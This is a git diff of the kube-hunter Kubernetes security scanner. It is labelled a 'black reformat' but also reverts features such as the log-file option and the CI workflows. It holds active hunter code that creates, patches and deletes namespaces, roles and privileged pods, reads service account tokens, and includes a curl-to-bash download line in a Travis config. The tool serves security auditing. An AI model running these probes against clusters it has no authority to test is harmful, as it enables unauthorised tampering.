black reformat

.github/workflows/codeql-analysis.yml

@@ -1,67 +0,0 @@
-# For most projects, this workflow file will not need changing; you simply need
-# to commit it to your repository.
-#
-# You may wish to alter this file to override the set of languages analyzed,
-# or to provide custom queries or build logic.
-#
-# ******** NOTE ********
-# We have attempted to detect the languages in your repository. Please check
-# the `language` matrix defined below to confirm you have the correct set of
-# supported CodeQL languages.
-#
-name: "CodeQL"
-
-on:
-  push:
-    branches: [ master ]
-  pull_request:
-    # The branches below must be a subset of the branches above
-    branches: [ master ]
-  schedule:
-    - cron: '16 3 * * 1'
-
-jobs:
-  analyze:
-    name: Analyze
-    runs-on: ubuntu-latest
-
-    strategy:
-      fail-fast: false
-      matrix:
-        language: [ 'python' ]
-        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
-        # Learn more:
-        # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
-
-    steps:
-    - name: Checkout repository
-      uses: actions/checkout@v2
-
-    # Initializes the CodeQL tools for scanning.
-    - name: Initialize CodeQL
-      uses: github/codeql-action/init@v1
-      with:
-        languages: ${{ matrix.language }}
-        # If you wish to specify custom queries, you can do so here or in a config file.
-        # By default, queries listed here will override any specified in a config file.
-        # Prefix the list here with "+" to use these queries and those in the config file.
-        # queries: ./path/to/local/query, your-org/your-repo/queries@main
-
-    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
-    # If this step fails, then you should remove it and run the build manually (see below)
-    - name: Autobuild
-      uses: github/codeql-action/autobuild@v1
-
-    # ℹ️ Command-line programs to run using the OS shell.
-    # 📚 https://git.io/JvXDl
-
-    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
-    #    and modify them (or add more) to build your code if your project
-    #    uses a compiled language
-
-    #- run: |
-    #   make bootstrap
-    #   make release
-
-    - name: Perform CodeQL Analysis
-      uses: github/codeql-action/analyze@v1

.github/workflows/lint.yml

@@ -1,12 +0,0 @@
-name: Lint
-
-on: [push, pull_request]
-
-jobs:
-  build:
-    runs-on: ubuntu-20.04
-
-    steps:
-      - uses: actions/checkout@v2
-      - uses: actions/setup-python@v2
-      - uses: pre-commit/action@v2.0.0

.github/workflows/release.yml

@@ -1,52 +0,0 @@
-on:
-  push:
-    # Sequence of patterns matched against refs/tags
-    tags:
-    - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
-    
-name: Upload Release Asset
-
-jobs:
-  build:
-    name: Upload Release Asset
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout code
-        uses: actions/checkout@v2
-
-      - name: Set up Python
-        uses: actions/setup-python@v2
-        with:
-          python-version: '3.9'
-      
-      - name: Install dependencies
-        run: |
-          python -m pip install -U pip
-          python -m pip install -r requirements-dev.txt
-      
-      - name: Build project
-        shell: bash
-        run: |
-          make pyinstaller
-      
-      - name: Create Release
-        id: create_release
-        uses: actions/create-release@v1
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        with:
-          tag_name: ${{ github.ref }}
-          release_name: Release ${{ github.ref }}
-          draft: false
-          prerelease: false
-          
-      - name: Upload Release Asset
-        id: upload-release-asset 
-        uses: actions/upload-release-asset@v1
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        with:
-          upload_url: ${{ steps.create_release.outputs.upload_url }}
-          asset_path: ./dist/kube-hunter
-          asset_name: kube-hunter-linux-x86_64-${{ github.ref }}
-          asset_content_type: application/octet-stream

.github/workflows/test.yml

@@ -1,54 +0,0 @@
-name: Test
-
-on: [push, pull_request]
-
-env:
-  FORCE_COLOR: 1
-
-jobs:
-  build:
-    runs-on: ${{ matrix.os }}
-    strategy:
-      fail-fast: false
-      matrix:
-        python-version: ["3.6", "3.7", "3.8", "3.9"]
-        os: [ubuntu-20.04, ubuntu-18.04, ubuntu-16.04]
-
-    steps:
-      - uses: actions/checkout@v2
-
-      - name: Set up Python ${{ matrix.python-version }}
-        uses: actions/setup-python@v2
-        with:
-          python-version: ${{ matrix.python-version }}
-
-      - name: Get pip cache dir
-        id: pip-cache
-        run: |
-          echo "::set-output name=dir::$(pip cache dir)"
-
-      - name: Cache
-        uses: actions/cache@v2
-        with:
-          path: ${{ steps.pip-cache.outputs.dir }}
-          key:
-            ${{ matrix.os }}-${{ matrix.python-version }}-${{ hashFiles('requirements-dev.txt') }}
-          restore-keys: |
-            ${{ matrix.os }}-${{ matrix.python-version }}-
-
-      - name: Install dependencies
-        run: |
-          python -m pip install -U pip
-          python -m pip install -U wheel
-          python -m pip install -r requirements.txt
-          python -m pip install -r requirements-dev.txt
-
-      - name: Test
-        shell: bash
-        run: |
-          make test
-
-      - name: Upload coverage
-        uses: codecov/codecov-action@v1
-        with:
-          name: ${{ matrix.os }} Python ${{ matrix.python-version }}

.gitignore

@@ -24,7 +24,6 @@ var/
 *.egg
 *.spec
 .eggs
-pip-wheel-metadata
 
 # Directory Cache Files
 .DS_Store

.travis.yml

@@ -0,0 +1,20 @@
+group: travis_latest
+language: python
+cache: pip
+python:
+    - "3.6"
+    - "3.7"
+    - "3.8"
+install:
+  - pip install -r requirements.txt
+  - pip install -r requirements-dev.txt
+before_script:
+  - make lint-check
+script:
+  - make test
+after_success:
+  -  bash <(curl -s https://codecov.io/bash)
+notifications:
+  email:
+    on_success: change
+    on_failure: always

Dockerfile

@@ -16,14 +16,4 @@ RUN make deps
 COPY . .
 RUN make install
 
-FROM python:3.8-alpine
-
-RUN apk add --no-cache \
-    tcpdump \
-    ebtables && \
-    apk upgrade --no-cache
-
-COPY --from=builder /usr/local/lib/python3.8/site-packages /usr/local/lib/python3.8/site-packages
-COPY --from=builder /usr/local/bin/kube-hunter /usr/local/bin/kube-hunter
-
 ENTRYPOINT ["kube-hunter"]

README.md

@@ -1,6 +1,6 @@
 ![kube-hunter](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter.png)
 
-[![Build Status](https://github.com/aquasecurity/kube-hunter/workflows/Test/badge.svg)](https://github.com/aquasecurity/kube-hunter/actions)
+[![Build Status](https://travis-ci.org/aquasecurity/kube-hunter.svg?branch=master)](https://travis-ci.org/aquasecurity/kube-hunter)
 [![codecov](https://codecov.io/gh/aquasecurity/kube-hunter/branch/master/graph/badge.svg)](https://codecov.io/gh/aquasecurity/kube-hunter)
 [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
 [![License](https://img.shields.io/github/license/aquasecurity/kube-hunter)](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE)
@@ -14,7 +14,7 @@ kube-hunter hunts for security weaknesses in Kubernetes clusters. The tool was d
 
 **Explore vulnerabilities**: The kube-hunter knowledge base includes articles about discoverable vulnerabilities and issues. When kube-hunter reports an issue, it will show its VID (Vulnerability ID) so you can look it up in the KB at https://aquasecurity.github.io/kube-hunter/
 
-**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md).
+**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](kube_hunter/CONTRIBUTING.md).
 
 [![kube-hunter demo video](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter-screenshot.png)](https://youtu.be/s2-6rTkH8a8?t=57s)
 
@@ -34,7 +34,6 @@ Table of Contents
       * [Prerequisites](#prerequisites)
    * [Container](#container)
    * [Pod](#pod)
-* [Contribution](#contribution)
          
 ## Hunting
 
@@ -175,8 +174,5 @@ The example `job.yaml` file defines a Job that will run kube-hunter in a pod, us
 * Find the pod name with `kubectl describe job kube-hunter`
 * View the test results with `kubectl logs <pod name>`
 
-## Contribution 
-To read the contribution guidelines, <a href="https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md"> Click here </a>
-
 ## License
 This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE).

docs/_kb/KHV005.md

@@ -12,7 +12,7 @@ Kubernetes API was accessed with Pod Service Account or without Authentication (
 
 ## Remediation
 
-Secure access to your Kubernetes API.
+Secure acess to your Kubernetes API.
 
 It is recommended to explicitly specify a Service Account for all of your workloads (`serviceAccountName` in `Pod.Spec`), and manage their permissions according to the least privilege principal.
 
@@ -21,4 +21,4 @@ Consider opting out automatic mounting of SA token using `automountServiceAccoun
 
 ## References
 
-- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)
+- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)

docs/_kb/KHV051.md

@@ -1,40 +0,0 @@
----
-vid: KHV051
-title: Exposed Existing Privileged Containers Via Secure Kubelet Port
-categories: [Access Risk]
----
-
-# {{ page.vid }} - {{ page.title }}
-
-## Issue description
-
-The kubelet is configured to allow anonymous (unauthenticated) requests to its HTTPs API. This may expose certain information and capabilities to an attacker with access to the kubelet API.
-
-A privileged container is given access to all devices on the host and can work at the kernel level. It is declared using the `Pod.spec.containers[].securityContext.privileged` attribute. This may be useful for infrastructure containers that perform setup work on the host, but is a dangerous attack vector.
-
-Furthermore, if the kubelet **and** the API server authentication mechanisms are (mis)configured such that anonymous requests can execute commands via the API within the containers (specifically privileged ones), a malicious actor can leverage such capabilities to do way more damage in the cluster than expected: e.g. start/modify process on host.
-
-## Remediation
-
-Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
-
-Minimize the use of privileged containers.
-
-Use Pod Security Policies to enforce using `privileged: false` policy. 
-
-Review the RBAC permissions to Kubernetes API server for the anonymous and default service account, including bindings.
-
-Ensure node(s) runs active filesystem monitoring.
-
-Set `--insecure-port=0` and remove `--insecure-bind-address=0.0.0.0` in the Kubernetes API server config.
-
-Remove `AlwaysAllow` from `--authorization-mode` in the Kubernetes API server config. Alternatively, set `--anonymous-auth=false` in the Kubernetes API server config; this will depend on the API server version running.
-
-## References
-
-- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)
-- [Privileged mode for pod containers](https://kubernetes.io/docs/concepts/workloads/pods/pod/#privileged-mode-for-pod-containers)
-- [Pod Security Policies - Privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)
-- [Using RBAC Authorization](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
-- [KHV005 - Access to Kubernetes API]({{ site.baseurl }}{% link _kb/KHV005.md %})
-- [KHV036 - Anonymous Authentication]({{ site.baseurl }}{% link _kb/KHV036.md %})

docs/_kb/KHV052.md

@@ -1,23 +0,0 @@
----
-vid: KHV052
-title: Exposed Pods
-categories: [Information Disclosure]
----
-
-# {{ page.vid }} - {{ page.title }}
-
-## Issue description
-
-An attacker could view sensitive information about pods that are bound to a Node using the exposed /pods endpoint
-This can be done either by accessing the readonly port (default 10255), or from the secure kubelet port (10250)
-
-## Remediation
-
-Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
-
-Disable the readonly port by using `--read-only-port=0` kubelet flag.
-
-## References
-
-- [Kubelet configuration](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)
-- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)

job.yaml

@@ -8,7 +8,7 @@ spec:
       containers:
       - name: kube-hunter
         image: aquasec/kube-hunter 
-        command: ["kube-hunter"]
+        command: ["python", "kube-hunter.py"]
         args: ["--pod"]
       restartPolicy: Never
   backoffLimit: 4

kube_hunter/__main__.py

@@ -18,7 +18,6 @@ config = Config(
     cidr=args.cidr,
     include_patched_versions=args.include_patched_versions,
     interface=args.interface,
-    log_file=args.log_file,
     mapping=args.mapping,
     network_timeout=args.network_timeout,
     pod=args.pod,
@@ -26,7 +25,7 @@ config = Config(
     remote=args.remote,
     statistics=args.statistics,
 )
-setup_logger(args.log, args.log_file)
+setup_logger(args.log)
 set_config(config)
 
 # Running all other registered plugins before execution
@@ -73,13 +72,13 @@ def list_hunters():
     print("\nPassive Hunters:\n----------------")
     for hunter, docs in handler.passive_hunters.items():
         name, doc = hunter.parse_docs(docs)
-        print(f"* {name}\n  {doc}\n")
+        print("* {}\n  {}\n".format(name, doc))
 
     if config.active:
         print("\n\nActive Hunters:\n---------------")
         for hunter, docs in handler.active_hunters.items():
             name, doc = hunter.parse_docs(docs)
-            print(f"* {name}\n  {doc}\n")
+            print("* {}\n  {}\n".format(name, doc))
 
 
 hunt_started_lock = threading.Lock()

kube_hunter/conf/__init__.py

@@ -4,7 +4,7 @@ from typing import Any, Optional
 
 @dataclass
 class Config:
-    """Config is a configuration container.
+    """ Config is a configuration container.
     It contains the following fields:
     - active: Enable active hunters
     - cidr: Network subnets to scan
@@ -13,7 +13,6 @@ class Config:
     - interface: Interface scanning mode
     - list_hunters: Print a list of existing hunters
     - log_level: Log level
-    - log_file: Log File path
     - mapping: Report only found components
     - network_timeout: Timeout for network operations
     - pod: From pod scanning mode
@@ -28,7 +27,6 @@ class Config:
     dispatcher: Optional[Any] = None
     include_patched_versions: bool = False
     interface: bool = False
-    log_file: Optional[str] = None
     mapping: bool = False
     network_timeout: float = 5.0
     pod: bool = False

kube_hunter/conf/logging.py

@@ -1,5 +1,6 @@
 import logging
 
+
 DEFAULT_LEVEL = logging.INFO
 DEFAULT_LEVEL_NAME = logging.getLevelName(DEFAULT_LEVEL)
 LOG_FORMAT = "%(asctime)s %(levelname)s %(name)s %(message)s"
@@ -9,7 +10,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.CRITICAL)
 logging.getLogger("scapy.loading").setLevel(logging.CRITICAL)
 
 
-def setup_logger(level_name, logfile):
+def setup_logger(level_name):
     # Remove any existing handlers
     # Unnecessary in Python 3.8 since `logging.basicConfig` has `force` parameter
     for h in logging.getLogger().handlers[:]:
@@ -21,9 +22,6 @@ def setup_logger(level_name, logfile):
     else:
         log_level = getattr(logging, level_name.upper(), None)
         log_level = log_level if isinstance(log_level, int) else None
-        if logfile is None:
-            logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
-        else:
-            logging.basicConfig(filename=logfile, level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
+        logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
         if not log_level:
             logging.warning(f"Unknown log level '{level_name}', using {DEFAULT_LEVEL_NAME}")

kube_hunter/conf/parser.py

@@ -9,9 +9,7 @@ def parser_add_arguments(parser):
     Contains initialization for all default arguments
     """
     parser.add_argument(
-        "--list",
-        action="store_true",
-        help="Displays all tests in kubehunter (add --active flag to see active tests)",
+        "--list", action="store_true", help="Displays all tests in kubehunter (add --active flag to see active tests)",
     )
 
     parser.add_argument("--interface", action="store_true", help="Set hunting on all network interfaces")
@@ -21,9 +19,7 @@ def parser_add_arguments(parser):
     parser.add_argument("--quick", action="store_true", help="Prefer quick scan (subnet 24)")
 
     parser.add_argument(
-        "--include-patched-versions",
-        action="store_true",
-        help="Don't skip patched versions when scanning",
+        "--include-patched-versions", action="store_true", help="Don't skip patched versions when scanning",
     )
 
     parser.add_argument(
@@ -33,17 +29,11 @@ def parser_add_arguments(parser):
     )
 
     parser.add_argument(
-        "--mapping",
-        action="store_true",
-        help="Outputs only a mapping of the cluster's nodes",
+        "--mapping", action="store_true", help="Outputs only a mapping of the cluster's nodes",
     )
 
     parser.add_argument(
-        "--remote",
-        nargs="+",
-        metavar="HOST",
-        default=list(),
-        help="One or more remote ip/dns to hunt",
+        "--remote", nargs="+", metavar="HOST", default=list(), help="One or more remote ip/dns to hunt",
     )
 
     parser.add_argument("--active", action="store_true", help="Enables active hunting")
@@ -57,17 +47,7 @@ def parser_add_arguments(parser):
     )
 
     parser.add_argument(
-        "--log-file",
-        type=str,
-        default=None,
-        help="Path to a log file to output all logs to",
-    )
-
-    parser.add_argument(
-        "--report",
-        type=str,
-        default="plain",
-        help="Set report type, options are: plain, yaml, json",
+        "--report", type=str, default="plain", help="Set report type, options are: plain, yaml, json",
     )
 
     parser.add_argument(

kube_hunter/core/events/handler.py

@@ -14,7 +14,7 @@ logger = logging.getLogger(__name__)
 # Inherits Queue object, handles events asynchronously
 class EventQueue(Queue):
     def __init__(self, num_worker=10):
-        super().__init__()
+        super(EventQueue, self).__init__()
         self.passive_hunters = dict()
         self.active_hunters = dict()
         self.all_hunters = dict()

kube_hunter/core/events/types.py

@@ -144,8 +144,7 @@ class NewHostEvent(Event):
             logger.debug("Checking whether the cluster is deployed on azure's cloud")
             # Leverage 3rd tool https://github.com/blrchen/AzureSpeed for Azure cloud ip detection
             result = requests.get(
-                f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}",
-                timeout=config.network_timeout,
+                f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}", timeout=config.network_timeout,
             ).json()
             return result["cloud"] or "NoCloud"
         except requests.ConnectionError:
@@ -195,11 +194,7 @@ class K8sVersionDisclosure(Vulnerability, Event):
 
     def __init__(self, version, from_endpoint, extra_info=""):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            "K8s Version Disclosure",
-            category=InformationDisclosure,
-            vid="KHV002",
+            self, KubernetesCluster, "K8s Version Disclosure", category=InformationDisclosure, vid="KHV002",
         )
         self.version = version
         self.from_endpoint = from_endpoint

kube_hunter/modules/discovery/hosts.py

@@ -5,7 +5,8 @@ import requests
 
 from enum import Enum
 from netaddr import IPNetwork, IPAddress, AddrFormatError
-from netifaces import AF_INET, ifaddresses, interfaces, gateways
+from netifaces import AF_INET, ifaddresses, interfaces
+from scapy.all import ICMP, IP, Ether, srp1
 
 from kube_hunter.conf import get_config
 from kube_hunter.core.events import handler
@@ -36,7 +37,7 @@ class RunningAsPodEvent(Event):
         try:
             with open(f"/var/run/secrets/kubernetes.io/serviceaccount/{file}") as f:
                 return f.read()
-        except OSError:
+        except IOError:
             pass
 
 
@@ -45,14 +46,10 @@ class AzureMetadataApi(Vulnerability, Event):
 
     def __init__(self, cidr):
         Vulnerability.__init__(
-            self,
-            Azure,
-            "Azure Metadata Exposure",
-            category=InformationDisclosure,
-            vid="KHV003",
+            self, Azure, "Azure Metadata Exposure", category=InformationDisclosure, vid="KHV003",
         )
         self.cidr = cidr
-        self.evidence = f"cidr: {cidr}"
+        self.evidence = "cidr: {}".format(cidr)
 
 
 class HostScanEvent(Event):
@@ -108,7 +105,7 @@ class FromPodHostDiscovery(Discovery):
             if self.is_azure_pod():
                 subnets, cloud = self.azure_metadata_discovery()
             else:
-                subnets = self.gateway_discovery()
+                subnets = self.traceroute_discovery()
 
             should_scan_apiserver = False
             if self.event.kubeservicehost:
@@ -140,9 +137,12 @@ class FromPodHostDiscovery(Discovery):
             return False
 
     # for pod scanning
-    def gateway_discovery(self):
-        """ Retrieving default gateway of pod, which is usually also a contact point with the host """
-        return [[gateways()["default"][AF_INET][0], "24"]]
+    def traceroute_discovery(self):
+        config = get_config()
+        node_internal_ip = srp1(
+            Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout,
+        )[IP].src
+        return [[node_internal_ip, "24"]]
 
     # querying azure's interface metadata api | works only from a pod
     def azure_metadata_discovery(self):

kube_hunter/modules/hunting/aks.py

@@ -16,11 +16,7 @@ class AzureSpnExposure(Vulnerability, Event):
 
     def __init__(self, container):
         Vulnerability.__init__(
-            self,
-            Azure,
-            "Azure SPN Exposure",
-            category=IdentityTheft,
-            vid="KHV004",
+            self, Azure, "Azure SPN Exposure", category=IdentityTheft, vid="KHV004",
         )
         self.container = container
 
@@ -46,16 +42,11 @@ class AzureSpnHunter(Hunter):
             logger.debug("failed getting pod info")
         else:
             pods_data = r.json().get("items", [])
-            suspicious_volume_names = []
             for pod_data in pods_data:
-                for volume in pod_data["spec"].get("volumes", []):
-                    if volume.get("hostPath"):
-                        path = volume["hostPath"]["path"]
-                        if "/etc/kubernetes/azure.json".startswith(path):
-                            suspicious_volume_names.append(volume["name"])
                 for container in pod_data["spec"]["containers"]:
-                    for mount in container.get("volumeMounts", []):
-                        if mount["name"] in suspicious_volume_names:
+                    for mount in container["volumeMounts"]:
+                        path = mount["mountPath"]
+                        if "/etc/kubernetes/azure.json".startswith(path):
                             return {
                                 "name": container["name"],
                                 "pod": pod_data["metadata"]["name"],

kube_hunter/modules/hunting/apiserver.py

@@ -29,11 +29,7 @@ class ServerApiAccess(Vulnerability, Event):
             name = "Unauthenticated access to API"
             category = UnauthenticatedAccess
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name=name,
-            category=category,
-            vid="KHV005",
+            self, KubernetesCluster, name=name, category=category, vid="KHV005",
         )
         self.evidence = evidence
 
@@ -46,30 +42,19 @@ class ServerApiHTTPAccess(Vulnerability, Event):
         name = "Insecure (HTTP) access to API"
         category = UnauthenticatedAccess
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name=name,
-            category=category,
-            vid="KHV006",
+            self, KubernetesCluster, name=name, category=category, vid="KHV006",
         )
         self.evidence = evidence
 
 
 class ApiInfoDisclosure(Vulnerability, Event):
-    """Information Disclosure depending upon RBAC permissions and Kube-Cluster Setup"""
-
     def __init__(self, evidence, using_token, name):
-        category = InformationDisclosure
         if using_token:
-            name += " using default service account token"
+            name += " using service account token"
         else:
             name += " as anonymous user"
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name=name,
-            category=category,
-            vid="KHV007",
+            self, KubernetesCluster, name=name, category=InformationDisclosure, vid="KHV007",
         )
         self.evidence = evidence
 
@@ -104,14 +89,12 @@ class ListClusterRoles(ApiInfoDisclosure):
 
 class CreateANamespace(Vulnerability, Event):
 
-    """Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in."""
+    """ Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in.
+    """
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Created a namespace",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Created a namespace", category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -122,17 +105,14 @@ class DeleteANamespace(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Delete a namespace",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Delete a namespace", category=AccessRisk,
         )
         self.evidence = evidence
 
 
 class CreateARole(Vulnerability, Event):
-    """Creating a role might give an attacker the option to harm the normal behavior of newly created pods
-    within the specified namespaces.
+    """ Creating a role might give an attacker the option to harm the normal behavior of newly created pods
+     within the specified namespaces.
     """
 
     def __init__(self, evidence):
@@ -141,46 +121,37 @@ class CreateARole(Vulnerability, Event):
 
 
 class CreateAClusterRole(Vulnerability, Event):
-    """Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
-    across the whole cluster
+    """ Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
+     across the whole cluster
     """
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Created a cluster role",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Created a cluster role", category=AccessRisk,
         )
         self.evidence = evidence
 
 
 class PatchARole(Vulnerability, Event):
-    """Patching a role might give an attacker the option to create new pods with custom roles within the
+    """ Patching a role might give an attacker the option to create new pods with custom roles within the
     specific role's namespace scope
     """
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Patched a role",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Patched a role", category=AccessRisk,
         )
         self.evidence = evidence
 
 
 class PatchAClusterRole(Vulnerability, Event):
-    """Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
+    """ Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
     cluster scope.
     """
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Patched a cluster role",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Patched a cluster role", category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -190,10 +161,7 @@ class DeleteARole(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Deleted a role",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Deleted a role", category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -203,10 +171,7 @@ class DeleteAClusterRole(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Deleted a cluster role",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Deleted a cluster role", category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -216,10 +181,7 @@ class CreateAPod(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Created A Pod",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Created A Pod", category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -229,10 +191,7 @@ class CreateAPrivilegedPod(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Created A PRIVILEGED Pod",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Created A PRIVILEGED Pod", category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -242,10 +201,7 @@ class PatchAPod(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Patched A Pod",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Patched A Pod", category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -255,10 +211,7 @@ class DeleteAPod(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            name="Deleted A Pod",
-            category=AccessRisk,
+            self, KubernetesCluster, name="Deleted A Pod", category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -272,7 +225,7 @@ class ApiServerPassiveHunterFinished(Event):
 # If we have a service account token we'll also trigger AccessApiServerWithToken below
 @handler.subscribe(ApiServer)
 class AccessApiServer(Hunter):
-    """API Server Hunter
+    """ API Server Hunter
     Checks if API server is accessible
     """
 
@@ -315,10 +268,7 @@ class AccessApiServer(Hunter):
         try:
             if not namespace:
                 r = requests.get(
-                    f"{self.path}/api/v1/pods",
-                    headers=self.headers,
-                    verify=False,
-                    timeout=config.network_timeout,
+                    f"{self.path}/api/v1/pods", headers=self.headers, verify=False, timeout=config.network_timeout,
                 )
             else:
                 r = requests.get(
@@ -346,7 +296,7 @@ class AccessApiServer(Hunter):
             else:
                 self.publish_event(ServerApiAccess(api, self.with_token))
 
-        namespaces = self.get_items(f"{self.path}/api/v1/namespaces")
+        namespaces = self.get_items("{path}/api/v1/namespaces".format(path=self.path))
         if namespaces:
             self.publish_event(ListNamespaces(namespaces, self.with_token))
 
@@ -369,12 +319,12 @@ class AccessApiServer(Hunter):
 
 @handler.subscribe(ApiServer, predicate=lambda x: x.auth_token)
 class AccessApiServerWithToken(AccessApiServer):
-    """API Server Hunter
+    """ API Server Hunter
     Accessing the API server using the service account token obtained from a compromised pod
     """
 
     def __init__(self, event):
-        super().__init__(event)
+        super(AccessApiServerWithToken, self).__init__(event)
         assert self.event.auth_token
         self.headers = {"Authorization": f"Bearer {self.event.auth_token}"}
         self.category = InformationDisclosure
@@ -461,8 +411,7 @@ class AccessApiServerActive(ActiveHunter):
     def patch_a_pod(self, namespace, pod_name):
         data = [{"op": "add", "path": "/hello", "value": ["world"]}]
         return self.patch_item(
-            path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}",
-            data=json.dumps(data),
+            path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}", data=json.dumps(data),
         )
 
     def create_namespace(self):
@@ -489,8 +438,7 @@ class AccessApiServerActive(ActiveHunter):
             "rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
         }
         return self.create_item(
-            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles",
-            data=json.dumps(role),
+            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles", data=json.dumps(role),
         )
 
     def create_a_cluster_role(self):
@@ -502,8 +450,7 @@ class AccessApiServerActive(ActiveHunter):
             "rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
         }
         return self.create_item(
-            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles",
-            data=json.dumps(cluster_role),
+            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles", data=json.dumps(cluster_role),
         )
 
     def delete_a_role(self, namespace, name):
@@ -530,8 +477,7 @@ class AccessApiServerActive(ActiveHunter):
     def patch_a_cluster_role(self, cluster_role):
         data = [{"op": "add", "path": "/hello", "value": ["world"]}]
         return self.patch_item(
-            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}",
-            data=json.dumps(data),
+            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}", data=json.dumps(data),
         )
 
     def execute(self):

kube_hunter/modules/hunting/arp.py

@@ -17,11 +17,7 @@ class PossibleArpSpoofing(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            "Possible Arp Spoof",
-            category=IdentityTheft,
-            vid="KHV020",
